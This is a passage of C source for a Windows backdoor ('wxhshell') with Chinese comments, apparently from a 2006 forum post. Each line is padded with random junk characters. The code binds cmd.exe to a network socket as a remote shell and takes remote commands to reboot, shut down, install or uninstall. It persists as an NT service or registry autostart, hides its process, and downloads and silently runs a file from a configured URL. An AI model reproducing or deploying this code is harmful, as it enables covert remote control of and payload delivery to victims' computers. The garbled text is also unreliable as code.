  {U'\2Ge<m  
  // 帮助 $-MVsa9>I  
  case '?': { L~+/LV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \}Al85  
    break; hl]q6ZK!6  
  } /wI"oHZd  
  // 安装 \'Q rJ ?D  
  case 'i': { ZccvZl ;b  
    if(Install()) 9?XQB%44  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xWnOOE$i  
    else xt&4]M V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fg)VO6Wo&  
    break; ?:42jp3  
    } KcvstC`  
  // 卸载 l+A)MJd oj  
  case 'r': { xfa-   
    if(Uninstall()) 4`GOBX1b.y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S54q?sb_  
    else TtQ'I}7q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2O 2HmL  
    break; Xwo%DZKN  
    } ;=p3L<~c`K  
  // 显示 wxhshell 所在路径 re~T,PPM  
  case 'p': { ZfMs6`Wv 1  
    char svExeFile[MAX_PATH]; ~ \]?5 nj  
    strcpy(svExeFile,"\n\r"); l+a1`O  
      strcat(svExeFile,ExeFile); %E\zR/  
        send(wsh,svExeFile,strlen(svExeFile),0); X- ZZLl#  
    break; AU1U?En  
    } E|vXM"zFl  
  // 重启 9Vru,7g  
  case 'b': { U4.$o ]58  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4`B3Kt`o  
    if(Boot(REBOOT)) _ a#k3r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); } J[Z)u  
    else { 4_`(c1oA  
    closesocket(wsh); UCt}\IJ  
    ExitThread(0); a$j ~YUG_  
    } )qRH?Hsb7  
    break; "Ccyj/  
    } 16ZyLt  
  // 关机 F8S>Ld  
  case 'd': { f{.4# C'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PjD9D.  
    if(Boot(SHUTDOWN)) i\,I)S%yJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q6,z 1A"  
    else { |h?2~D!+d  
    closesocket(wsh); n$F~  
    ExitThread(0); Fw S>V2R  
    } uGv|!UQw  
    break; {Q}F.0Q  
    } Mg~4) DW]  
  // 获取shell yQ)&u+r  
  case 's': { rz0)S py6  
    CmdShell(wsh); B[I9<4}  
    closesocket(wsh); wRvh/{xB  
    ExitThread(0); =EYWiK77a  
    break; u"uL,w 1-  
  } [!De|,u(^  
  // 退出 %.m+6 zaF  
  case 'x': { 6O <UW.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1<Sg@  
    CloseIt(wsh); f14^VTzP/#  
    break; %vv`Vx2  
    } r'`7}@H*  
  // 离开 MkL)  
  case 'q': { $J^fpXO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t/}NX[q  
    closesocket(wsh); R G*Vdom  
    WSACleanup(); $AT@r"  
    exit(1); ^)wKS]BQ..  
    break; oOLey!uZw  
        } =ecLzk"+F  
  } vK%*5  
  } -p>~z )  
!~&& &85  
  // 提示信息 xeL"FzF:V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l n\qvD_  
} b[GhI+_  
  } /)T~(o|i  
Cs_&BSs  
  return; >.6|\{*sG  
} *E*oWb]H  
{zWR)o .=  
// shell模块句柄 TF%Xb>jy[  
int CmdShell(SOCKET sock) J\Hv42  
{ *i}X(sfe  
STARTUPINFO si; qVKdc*R-  
ZeroMemory(&si,sizeof(si)); o K>(yC[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WR3,woo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `sCn4-$8  
PROCESS_INFORMATION ProcessInfo; |mP};&b  
char cmdline[]="cmd"; ^$5 0[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A#6zI NK#B  
  return 0; LQHL4jRXU  
} (-g*U#   
1$8@CT^m  
// 自身启动模式 ~_-]> SI  
int StartFromService(void) xZP*%yM  
{ +Q[uq!<VJk  
typedef struct f-G)pHm  
{ #R{>@]x`  
  DWORD ExitStatus; SIV !8mz  
  DWORD PebBaseAddress; h~m,0nGO  
  DWORD AffinityMask; G[\TbPh  
  DWORD BasePriority; Z;%uDlcXI  
  ULONG UniqueProcessId; VJ=>2'I  
  ULONG InheritedFromUniqueProcessId; Km;}xke6  
}   PROCESS_BASIC_INFORMATION; ~\mh\a&  
i1|>JM[V  
PROCNTQSIP NtQueryInformationProcess; +4.s4&f)  
:{#O   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; odSPl{.>d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S~i9~jA  
>UMxlvTg&  
  HANDLE             hProcess; yo=L1; H  
  PROCESS_BASIC_INFORMATION pbi; E`UkL*Q  
{YgU23;q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~x^y5[5{  
  if(NULL == hInst ) return 0; Vw1>d+<~-)  
'< U&8?S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \y5lYb,*c_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jZ |M$I3*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !1G KpL  
W!wof- 1  
  if (!NtQueryInformationProcess) return 0; J(l\VvK  
KGYbPty}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?1D!%jfi  
  if(!hProcess) return 0; :Ln)j%&  
|gA@WV-%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (T_-`N|  
hO]F\0+  
  CloseHandle(hProcess); 3uocAmY  
z.Ic?Wz7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lN#j%0MaUo  
if(hProcess==NULL) return 0; 1EXT^2!D  
F(yR\)!C  
HMODULE hMod; 68XJ`/d  
char procName[255];  xgcxA:  
unsigned long cbNeeded; Cgx:6TRS  
b^VRpv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nwU],{(Hgr  
byxlC?q7  
  CloseHandle(hProcess); [,;e ,ld  
q< XFw-Pv  
if(strstr(procName,"services")) return 1; // 以服务启动 \ZZ6r^99  
5c` ;~  
  return 0; // 注册表启动 . vb##D  
} 6sBt6?_T  
mol,iM*l  
// 主模块 zr /v.$<  
int StartWxhshell(LPSTR lpCmdLine) HG;;M6  
{ "pM >TMAE  
  SOCKET wsl; `(FjOd K  
BOOL val=TRUE; gsbr8zwG,  
  int port=0; C2}y#AI  
  struct sockaddr_in door; v>]g="5}8  
WT'-.UX m  
  if(wscfg.ws_autoins) Install(); )Ka-vX)D@  
S=_u3OH0  
port=atoi(lpCmdLine); J<0{3pZY  
9wYm(7M6  
if(port<=0) port=wscfg.ws_port; ^OKm (  
f~NS{gL*  
  WSADATA data; w7Yu} JY^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '#7k9\  
QPVi& *8_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N4vcd=uG#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9;+&}:IVS  
  door.sin_family = AF_INET; h$&Tg_/'#D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); VcrMlcnO  
  door.sin_port = htons(port); @Chl>s  
`;j1H<L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]lwf6'  
closesocket(wsl); +MX~1RU+  
return 1; KnkmGy  
} ^ Kz ?SO  
:}e<  
  if(listen(wsl,2) == INVALID_SOCKET) { |M;Nq@bRv  
closesocket(wsl); gw)4P tb!  
return 1; [P &B  
} <[k3x8H'  
  Wxhshell(wsl); klUV&O+=%  
  WSACleanup(); ^ 8}P_  
z}[ u~P,  
return 0; uOA/r@7I}S  
k+9F;p7  
} uppa`addK  
HPt3WBRzS;  
// 以NT服务方式启动 z\m$>C|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U4"^NLAq  
{ nnyT,e%  
DWORD   status = 0; v#?DWeaFS_  
  DWORD   specificError = 0xfffffff; ?{ )'O+s  
;0dH@b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &V?+Y2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nLm'a_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZWCsrV*;  
  serviceStatus.dwWin32ExitCode     = 0; VeWh9:"bJ  
  serviceStatus.dwServiceSpecificExitCode = 0; *:CTIV5N0  
  serviceStatus.dwCheckPoint       = 0; !igPyhi,hl  
  serviceStatus.dwWaitHint       = 0; @&m [w'tn  
xw8k<`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g=\(%zfsxr  
  if (hServiceStatusHandle==0) return; !0l|[c4 e>  
-dM~3'  
status = GetLastError(); SSI> +A  
  if (status!=NO_ERROR) <.ZIhDiEl  
{ ?Z{/0X)]|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E!Q@AZ  
    serviceStatus.dwCheckPoint       = 0; BbX$R`f  
    serviceStatus.dwWaitHint       = 0; -9om,U`t  
    serviceStatus.dwWin32ExitCode     = status; Tv|'6P  
    serviceStatus.dwServiceSpecificExitCode = specificError; }ekNZNcuM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JPDxzp  
    return; lf( +]k30  
  } wrkw,H  
P'Y(f!%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; spA|[\Nl  
  serviceStatus.dwCheckPoint       = 0; 96\FJHt Z  
  serviceStatus.dwWaitHint       = 0; $*{,Z<|2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;l;jTb^l  
} "Erphn  
16Qu{K  
// 处理NT服务事件,比如:启动、停止 )j8'6tk)Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oc"p5Y3,Os  
{ Zna6-0o  
switch(fdwControl) tV=Qt[|@  
{ ?*~ ~Ok  
case SERVICE_CONTROL_STOP: [\ku,yd%0  
  serviceStatus.dwWin32ExitCode = 0; \;-Yz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; niS\0ZA  
  serviceStatus.dwCheckPoint   = 0; <2(X?,N5BD  
  serviceStatus.dwWaitHint     = 0; 4m\Cc_:jO  
  { @>z.chM;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F[c oa5  
  } eYv^cbO@:  
  return; Tcy9oYh!Pn  
case SERVICE_CONTROL_PAUSE: D!* SA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; CRo @+p10  
  break; QO$18MBcc  
case SERVICE_CONTROL_CONTINUE: <@M5 C -hH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^h_rE |c  
  break; J)g +I  
case SERVICE_CONTROL_INTERROGATE: /[Nkk)8-  
  break; "I=Lbh-`  
}; -d?<t}a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ` &=%p|  
} Wgf f+7k  
9vi+[3s/=;  
// 标准应用程序主函数 _&HFKpHQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HxR5&o  
{ F~v0CBcAL  
F4=X(P_6  
// 获取操作系统版本 Ne9VRM P  
OsIsNt=GetOsVer(); %5L~&W}^"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l%V+] skS  
."Pn[$'.  
  // 从命令行安装 Ks3YrKk;p  
  if(strpbrk(lpCmdLine,"iI")) Install(); -wUT@a  
=n.&N   
  // 下载执行文件 <YCjo[(~  
if(wscfg.ws_downexe) { GB+$ed5@<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7IUJHc?  
  WinExec(wscfg.ws_filenam,SW_HIDE); [?6+ r  
} G9S3r3  
l )r^|9{  
if(!OsIsNt) { 0]ai*\,W7~  
// 如果时win9x,隐藏进程并且设置为注册表启动 sfVzVS[  
HideProc(); `_&vvJPn@!  
StartWxhshell(lpCmdLine); K z^.v`  
} nVpDjUpN  
else wI7.M Gt  
  if(StartFromService()) yTc&C)Jba  
  // 以服务方式启动 HZ(giAyjq  
  StartServiceCtrlDispatcher(DispatchTable); FS7D  
else >uJu!+#  
  // 普通方式启动 UJS vtD{g  
  StartWxhshell(lpCmdLine); F`;q9<NYRW  
W G3 _(mM  
return 0; f/ 3'lPK^  
}
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只看该作者 1 发表于: 2006-10-10
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